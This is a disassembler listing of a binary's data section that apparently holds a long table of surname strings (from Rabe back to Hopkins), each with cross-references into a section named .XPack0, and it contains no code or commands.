aRabe db 'Rabe',0 ; DATA XREF: .XPack0:00430F54o
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: .XPack0:00430F50o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .XPack0:00430F4Co
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: .XPack0:00430F48o
aPugh db 'Pugh',0 ; DATA XREF: .XPack0:00430F44o
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: .XPack0:00430F40o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .XPack0:00430F3Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: .XPack0:00430F38o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .XPack0:00430F34o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .XPack0:00430F30o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .XPack0:00430F2Co
aPreucel db 'Preucel',0 ; DATA XREF: .XPack0:00430F28o
aPresper db 'Presper',0 ; DATA XREF: .XPack0:00430F24o
aPowers db 'Powers',0 ; DATA XREF: .XPack0:00430F20o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .XPack0:00430F1Co
aPoma db 'Poma',0 ; DATA XREF: .XPack0:00430F18o
align 4
aPolitis db 'Politis',0 ; DATA XREF: .XPack0:00430F14o
aPolanyi db 'Polanyi',0 ; DATA XREF: .XPack0:00430F10o
aPolak db 'Polak',0 ; DATA XREF: .XPack0:00430F0Co
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: .XPack0:00430F08o
aPointer db 'Pointer',0 ; DATA XREF: .XPack0:00430F04o
aPoincaire db 'Poincaire',0 ; DATA XREF: .XPack0:00430F00o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .XPack0:00430EFCo
align 4
aPo db 'Po',0 ; DATA XREF: .XPack0:00430EF8o
align 4
aPlous db 'Plous',0 ; DATA XREF: .XPack0:00430EF4o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .XPack0:00430EF0o
aPlant db 'Plant',0 ; DATA XREF: .XPack0:00430EECo
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .XPack0:00430EE8o
aPinot db 'Pinot',0 ; DATA XREF: .XPack0:00430EE4o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .XPack0:00430EE0o
aPfister db 'Pfister',0 ; DATA XREF: .XPack0:00430EDCo
aPettit db 'Pettit',0 ; DATA XREF: .XPack0:00430ED8o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .XPack0:00430ED4o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .XPack0:00430ED0o
align 4
aPeters db 'Peters',0 ; DATA XREF: .XPack0:00430ECCo
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .XPack0:00430EC8o
align 4
aPerone db 'Perone',0 ; DATA XREF: .XPack0:00430EC4o
align 10h
aPerna db 'Perna',0 ; DATA XREF: .XPack0:00430EC0o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .XPack0:00430EBCo
aPerlak db 'Perlak',0 ; DATA XREF: .XPack0:00430EB8o
align 4
aPerko db 'Perko',0 ; DATA XREF: .XPack0:00430EB4o
align 10h
aPereira db 'Pereira',0 ; DATA XREF: .XPack0:00430EB0o
aPenny db 'Penny',0 ; DATA XREF: .XPack0:00430EACo
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: .XPack0:00430EA8o
aPederson db 'Pederson',0 ; DATA XREF: .XPack0:00430EA4o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .XPack0:00430EA0o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: .XPack0:00430E9Co
aPaynter db 'Paynter',0 ; DATA XREF: .XPack0:00430E98o
aPawloski db 'Pawloski',0 ; DATA XREF: .XPack0:00430E94o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .XPack0:00430E90o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .XPack0:00430E8Co
aPattullo db 'Pattullo',0 ; DATA XREF: .XPack0:00430E88o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .XPack0:00430E84o
aPatefield db 'Patefield',0 ; DATA XREF: .XPack0:00430E80o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .XPack0:00430E7Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .XPack0:00430E78o
align 4
aParris db 'Parris',0 ; DATA XREF: .XPack0:00430E74o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .XPack0:00430E70o
aPaoletti db 'Paoletti',0 ; DATA XREF: .XPack0:00430E6Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .XPack0:00430E68o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: .XPack0:00430E64o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .XPack0:00430E60o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .XPack0:00430E5Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: .XPack0:00430E58o
aPalepu db 'Palepu',0 ; DATA XREF: .XPack0:00430E54o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .XPack0:00430E50o
align 10h
aPaine db 'Paine',0 ; DATA XREF: .XPack0:00430E4Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .XPack0:00430E48o
align 4
aOvid db 'Ovid',0 ; DATA XREF: .XPack0:00430E44o
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: .XPack0:00430E40o
aOtten db 'Otten',0 ; DATA XREF: .XPack0:00430E3Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: .XPack0:00430E38o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .XPack0:00430E34o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .XPack0:00430E30o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: .XPack0:00430E2Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .XPack0:00430E28o
aOray db 'Oray',0 ; DATA XREF: .XPack0:00430E24o
align 4
aOpel db 'Opel',0 ; DATA XREF: .XPack0:00430E20o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .XPack0:00430E1Co
aOman db 'Oman',0 ; DATA XREF: .XPack0:00430E18o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .XPack0:00430E14o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .XPack0:00430E10o
align 4
aOlson db 'Olson',0 ; DATA XREF: .XPack0:00430E0Co
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: .XPack0:00430E08o
align 4
aOldford db 'Oldford',0 ; DATA XREF: .XPack0:00430E04o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .XPack0:00430E00o
aOh db 'Oh',0 ; DATA XREF: .XPack0:00430DFCo
align 4
aOgata db 'Ogata',0 ; DATA XREF: .XPack0:00430DF8o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .XPack0:00430DF4o
aNuzum db 'Nuzum',0 ; DATA XREF: .XPack0:00430DF0o
align 4
aNotman db 'Notman',0 ; DATA XREF: .XPack0:00430DECo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .XPack0:00430DE8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .XPack0:00430DE4o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .XPack0:00430DE0o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: .XPack0:00430DDCo
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .XPack0:00430DD8o
align 10h
aNg db 'Ng',0 ; DATA XREF: .XPack0:00430DD4o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .XPack0:00430DD0o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .XPack0:00430DCCo
aNeuman db 'Neuman',0 ; DATA XREF: .XPack0:00430DC8o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .XPack0:00430DC4o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .XPack0:00430DC0o
align 4
aNelson db 'Nelson',0 ; DATA XREF: .XPack0:00430DBCo
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .XPack0:00430DB8o
aNaviaux db 'Naviaux',0 ; DATA XREF: .XPack0:00430DB4o
aNardone db 'Nardone',0 ; DATA XREF: .XPack0:00430DB0o
aNardi db 'Nardi',0 ; DATA XREF: .XPack0:00430DACo
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .XPack0:00430DA8o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: .XPack0:00430DA4o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .XPack0:00430DA0o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .XPack0:00430D9Co
aMulroy db 'Mulroy',0 ; DATA XREF: .XPack0:00430D98o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .XPack0:00430D94o
aMugnai db 'Mugnai',0 ; DATA XREF: .XPack0:00430D90o
align 4
aMuello db 'Muello',0 ; DATA XREF: .XPack0:00430D8Co
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .XPack0:00430D88o
aMotooka db 'Motooka',0 ; DATA XREF: .XPack0:00430D84o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .XPack0:00430D80o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .XPack0:00430D7Co
align 10h
aMosher db 'Mosher',0 ; DATA XREF: .XPack0:00430D78o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .XPack0:00430D74o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .XPack0:00430D70o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .XPack0:00430D6Co
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .XPack0:00430D68o
aMorani db 'Morani',0 ; DATA XREF: .XPack0:00430D64o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .XPack0:00430D60o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .XPack0:00430D5Co
align 10h
aMonque db 'Monque',0 ; DATA XREF: .XPack0:00430D58o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .XPack0:00430D54o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .XPack0:00430D50o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .XPack0:00430D4Co
aModestino db 'Modestino',0 ; DATA XREF: .XPack0:00430D48o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: .XPack0:00430D44o
aMittal db 'Mittal',0 ; DATA XREF: .XPack0:00430D40o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .XPack0:00430D3Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: .XPack0:00430D38o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .XPack0:00430D34o
aMini db 'Mini',0 ; DATA XREF: .XPack0:00430D30o
align 4
aMinh db 'Minh',0 ; DATA XREF: .XPack0:00430D2Co
align 4
aMills db 'Mills',0 ; DATA XREF: .XPack0:00430D28o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .XPack0:00430D24o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .XPack0:00430D20o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .XPack0:00430D1Co
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .XPack0:00430D18o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: .XPack0:00430D14o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .XPack0:00430D10o
aMerz db 'Merz',0 ; DATA XREF: .XPack0:00430D0Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .XPack0:00430D08o
aMerminod db 'Merminod',0 ; DATA XREF: .XPack0:00430D04o
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: .XPack0:00430D00o
aMerikoski db 'Merikoski',0 ; DATA XREF: .XPack0:00430CFCo
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .XPack0:00430CF8o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .XPack0:00430CF4o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .XPack0:00430CF0o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .XPack0:00430CECo
aMcnealy db 'Mcnealy',0 ; DATA XREF: .XPack0:00430CE8o
aMclaren db 'Mclaren',0 ; DATA XREF: .XPack0:00430CE4o
aMclane db 'Mclane',0 ; DATA XREF: .XPack0:00430CE0o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .XPack0:00430CDCo
aMcintosh db 'Mcintosh',0 ; DATA XREF: .XPack0:00430CD8o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .XPack0:00430CD4o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .XPack0:00430CD0o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .XPack0:00430CCCo
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .XPack0:00430CC8o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: .XPack0:00430CC4o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .XPack0:00430CC0o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .XPack0:00430CBCo
align 10h
aMccall db 'Mccall',0 ; DATA XREF: .XPack0:00430CB8o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .XPack0:00430CB4o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .XPack0:00430CB0o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .XPack0:00430CACo
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: .XPack0:00430CA8o
aMay db 'May',0 ; DATA XREF: .XPack0:00430CA4o
aMauzy db 'Mauzy',0 ; DATA XREF: .XPack0:00430CA0o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .XPack0:00430C9Co
aMatsukata db 'Matsukata',0 ; DATA XREF: .XPack0:00430C98o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .XPack0:00430C94o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .XPack0:00430C90o
aMass db 'Mass',0 ; DATA XREF: .XPack0:00430C8Co
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .XPack0:00430C88o
align 4
aMarton db 'Marton',0 ; DATA XREF: .XPack0:00430C84o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: .XPack0:00430C80o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .XPack0:00430C7Co
align 4
aMarques db 'Marques',0 ; DATA XREF: .XPack0:00430C78o
aMargetts db 'Margetts',0 ; DATA XREF: .XPack0:00430C74o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .XPack0:00430C70o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .XPack0:00430C6Co
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .XPack0:00430C68o
align 4
aMarch db 'March',0 ; DATA XREF: .XPack0:00430C64o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .XPack0:00430C60o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: .XPack0:00430C5Co
aMandel db 'Mandel',0 ; DATA XREF: .XPack0:00430C58o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .XPack0:00430C54o
aMalova db 'Malova',0 ; DATA XREF: .XPack0:00430C50o
align 4
aMaller db 'Maller',0 ; DATA XREF: .XPack0:00430C4Co
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .XPack0:00430C48o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .XPack0:00430C44o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .XPack0:00430C40o
align 10h
aMaier db 'Maier',0 ; DATA XREF: .XPack0:00430C3Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: .XPack0:00430C38o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: .XPack0:00430C34o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .XPack0:00430C30o
aMacy db 'Macy',0 ; DATA XREF: .XPack0:00430C2Co
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .XPack0:00430C28o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .XPack0:00430C24o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: .XPack0:00430C20o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .XPack0:00430C1Co
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .XPack0:00430C18o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .XPack0:00430C14o
align 10h
aMa db 'Ma',0 ; DATA XREF: .XPack0:00430C10o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .XPack0:00430C0Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: .XPack0:00430C08o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .XPack0:00430C04o
aLuoma db 'Luoma',0 ; DATA XREF: .XPack0:00430C00o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .XPack0:00430BFCo
aLuecke db 'Luecke',0 ; DATA XREF: .XPack0:00430BF8o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .XPack0:00430BF4o
aLuciano db 'Luciano',0 ; DATA XREF: .XPack0:00430BF0o
aLucas db 'Lucas',0 ; DATA XREF: .XPack0:00430BECo
align 10h
aLubin db 'Lubin',0 ; DATA XREF: .XPack0:00430BE8o
align 4
aLoza db 'Loza',0 ; DATA XREF: .XPack0:00430BE4o
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: .XPack0:00430BE0o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .XPack0:00430BDCo
aLoss db 'Loss',0 ; DATA XREF: .XPack0:00430BD8o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .XPack0:00430BD4o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .XPack0:00430BD0o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .XPack0:00430BCCo
aLivolsi db 'Livolsi',0 ; DATA XREF: .XPack0:00430BC8o
aLivi db 'Livi',0 ; DATA XREF: .XPack0:00430BC4o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .XPack0:00430BC0o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .XPack0:00430BBCo
align 10h
aLittle db 'Little',0 ; DATA XREF: .XPack0:00430BB8o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .XPack0:00430BB4o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .XPack0:00430BB0o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: .XPack0:00430BACo
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .XPack0:00430BA8o
aLine db 'Line',0 ; DATA XREF: .XPack0:00430BA4o
align 4
aLinder db 'Linder',0 ; DATA XREF: .XPack0:00430BA0o
align 10h
aLinda db 'Linda',0 ; DATA XREF: .XPack0:00430B9Co
align 4
aLinares db 'Linares',0 ; DATA XREF: .XPack0:00430B98o
aLim db 'Lim',0 ; DATA XREF: .XPack0:00430B94o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .XPack0:00430B90o
align 10h
aLight db 'Light',0 ; DATA XREF: .XPack0:00430B8Co
align 4
aLiem db 'Liem',0 ; DATA XREF: .XPack0:00430B88o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: .XPack0:00430B84o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .XPack0:00430B80o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: .XPack0:00430B7Co
align 4
aLesser db 'Lesser',0 ; DATA XREF: .XPack0:00430B78o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .XPack0:00430B74o
align 4
aLenard db 'Lenard',0 ; DATA XREF: .XPack0:00430B70o
align 4
aLeite db 'Leite',0 ; DATA XREF: .XPack0:00430B6Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .XPack0:00430B68o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .XPack0:00430B64o
align 10h
aLecar db 'Lecar',0 ; DATA XREF: .XPack0:00430B60o
align 4
aLawless db 'Lawless',0 ; DATA XREF: .XPack0:00430B5Co
aLashley db 'Lashley',0 ; DATA XREF: .XPack0:00430B58o
aLaserna db 'Laserna',0 ; DATA XREF: .XPack0:00430B54o
aLanzit db 'Lanzit',0 ; DATA XREF: .XPack0:00430B50o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .XPack0:00430B4Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: .XPack0:00430B48o
align 4
aLandes db 'Landes',0 ; DATA XREF: .XPack0:00430B44o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .XPack0:00430B40o
align 10h
aLaing db 'Laing',0 ; DATA XREF: .XPack0:00430B3Co
align 4
aLafler db 'Lafler',0 ; DATA XREF: .XPack0:00430B38o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: .XPack0:00430B34o
aLa db 'La',0 ; DATA XREF: .XPack0:00430B30o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .XPack0:00430B2Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: .XPack0:00430B28o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: .XPack0:00430B24o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .XPack0:00430B20o
aKrysiak db 'Krysiak',0 ; DATA XREF: .XPack0:00430B1Co
aKroemer db 'Kroemer',0 ; DATA XREF: .XPack0:00430B18o
aKraus db 'Kraus',0 ; DATA XREF: .XPack0:00430B14o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .XPack0:00430B10o
aKrailo db 'Krailo',0 ; DATA XREF: .XPack0:00430B0Co
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .XPack0:00430B08o
aKovaks db 'Kovaks',0 ; DATA XREF: .XPack0:00430B04o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .XPack0:00430B00o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: .XPack0:00430AFCo
align 4
aKool db 'Kool',0 ; DATA XREF: .XPack0:00430AF8o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .XPack0:00430AF4o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .XPack0:00430AF0o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .XPack0:00430AECo
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .XPack0:00430AE8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .XPack0:00430AE4o
align 4
aKoch db 'Koch',0 ; DATA XREF: .XPack0:00430AE0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .XPack0:00430ADCo
aKnuff db 'Knuff',0 ; DATA XREF: .XPack0:00430AD8o
align 4
aKlint db 'Klint',0 ; DATA XREF: .XPack0:00430AD4o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .XPack0:00430AD0o
aKling db 'Kling',0 ; DATA XREF: .XPack0:00430ACCo
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .XPack0:00430AC8o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .XPack0:00430AC4o
aKleiman db 'Kleiman',0 ; DATA XREF: .XPack0:00430AC0o
aKleckner db 'Kleckner',0 ; DATA XREF: .XPack0:00430ABCo
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .XPack0:00430AB8o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: .XPack0:00430AB4o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .XPack0:00430AB0o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .XPack0:00430AACo
aKindall db 'Kindall',0 ; DATA XREF: .XPack0:00430AA8o
aKimura db 'Kimura',0 ; DATA XREF: .XPack0:00430AA4o
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: .XPack0:00430AA0o
aKimmel db 'Kimmel',0 ; DATA XREF: .XPack0:00430A9Co
align 10h
aKhong db 'Khong',0 ; DATA XREF: .XPack0:00430A98o
align 4
aKeul db 'Keul',0 ; DATA XREF: .XPack0:00430A94o
align 10h
aKerry db 'Kerry',0 ; DATA XREF: .XPack0:00430A90o
align 4
aKendall db 'Kendall',0 ; DATA XREF: .XPack0:00430A8Co
aKemsley db 'Kemsley',0 ; DATA XREF: .XPack0:00430A88o
aKempton db 'Kempton',0 ; DATA XREF: .XPack0:00430A84o
aKelsey db 'Kelsey',0 ; DATA XREF: .XPack0:00430A80o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .XPack0:00430A7Co
align 10h
aKeith db 'Keith',0 ; DATA XREF: .XPack0:00430A78o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .XPack0:00430A74o
aKeenan db 'Keenan',0 ; DATA XREF: .XPack0:00430A70o
align 4
aKee db 'Kee',0 ; DATA XREF: .XPack0:00430A6Co
aKawachi db 'Kawachi',0 ; DATA XREF: .XPack0:00430A68o
aKasten db 'Kasten',0 ; DATA XREF: .XPack0:00430A64o
align 4
aKassower db 'Kassower',0 ; DATA XREF: .XPack0:00430A60o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .XPack0:00430A5Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: .XPack0:00430A58o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .XPack0:00430A54o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .XPack0:00430A50o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .XPack0:00430A4Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: .XPack0:00430A48o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: .XPack0:00430A44o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .XPack0:00430A40o
aKafadar db 'Kafadar',0 ; DATA XREF: .XPack0:00430A3Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: .XPack0:00430A38o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .XPack0:00430A34o
aJulious db 'Julious',0 ; DATA XREF: .XPack0:00430A30o
aJuliano db 'Juliano',0 ; DATA XREF: .XPack0:00430A2Co
aJucks db 'Jucks',0 ; DATA XREF: .XPack0:00430A28o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .XPack0:00430A24o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .XPack0:00430A20o
align 10h
aJohns db 'Johns',0 ; DATA XREF: .XPack0:00430A1Co
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .XPack0:00430A18o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .XPack0:00430A14o
aJewett db 'Jewett',0 ; DATA XREF: .XPack0:00430A10o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .XPack0:00430A0Co
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .XPack0:00430A08o
aJellis db 'Jellis',0 ; DATA XREF: .XPack0:00430A04o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .XPack0:00430A00o
aJay db 'Jay',0 ; DATA XREF: .XPack0:004309FCo
aJarrell db 'Jarrell',0 ; DATA XREF: .XPack0:004309F8o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .XPack0:004309F4o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .XPack0:004309F0o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: .XPack0:004309ECo
align 4
aJain db 'Jain',0 ; DATA XREF: .XPack0:004309E8o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: .XPack0:004309E4o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .XPack0:004309E0o
align 10h
aJagers db 'Jagers',0 ; DATA XREF: .XPack0:004309DCo
align 4
aJackson db 'Jackson',0 ; DATA XREF: .XPack0:004309D8o
aJacenko db 'Jacenko',0 ; DATA XREF: .XPack0:004309D4o
aIyer db 'Iyer',0 ; DATA XREF: .XPack0:004309D0o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: .XPack0:004309CCo
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .XPack0:004309C8o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .XPack0:004309C4o
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: .XPack0:004309C0o
align 4
aInniss db 'Inniss',0 ; DATA XREF: .XPack0:004309BCo
align 10h
aInamura db 'Inamura',0 ; DATA XREF: .XPack0:004309B8o
aIgarashi db 'Igarashi',0 ; DATA XREF: .XPack0:004309B4o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .XPack0:004309B0o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: .XPack0:004309ACo
align 4
aHyde db 'Hyde',0 ; DATA XREF: .XPack0:004309A8o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .XPack0:004309A4o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: .XPack0:004309A0o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .XPack0:0043099Co
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .XPack0:00430998o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: .XPack0:00430994o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .XPack0:00430990o
align 4
aHuey db 'Huey',0 ; DATA XREF: .XPack0:0043098Co
align 10h
aHoy db 'Hoy',0 ; DATA XREF: .XPack0:00430988o
aHoward db 'Howard',0 ; DATA XREF: .XPack0:00430984o
align 4
aHottle db 'Hottle',0 ; DATA XREF: .XPack0:00430980o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .XPack0:0043097Co
aHoshida db 'Hoshida',0 ; DATA XREF: .XPack0:00430978o
aHorsley db 'Horsley',0 ; DATA XREF: .XPack0:00430974o
aHopkins db 'Hopkins',0 ; DATA XREF: .XPack0:00430970o
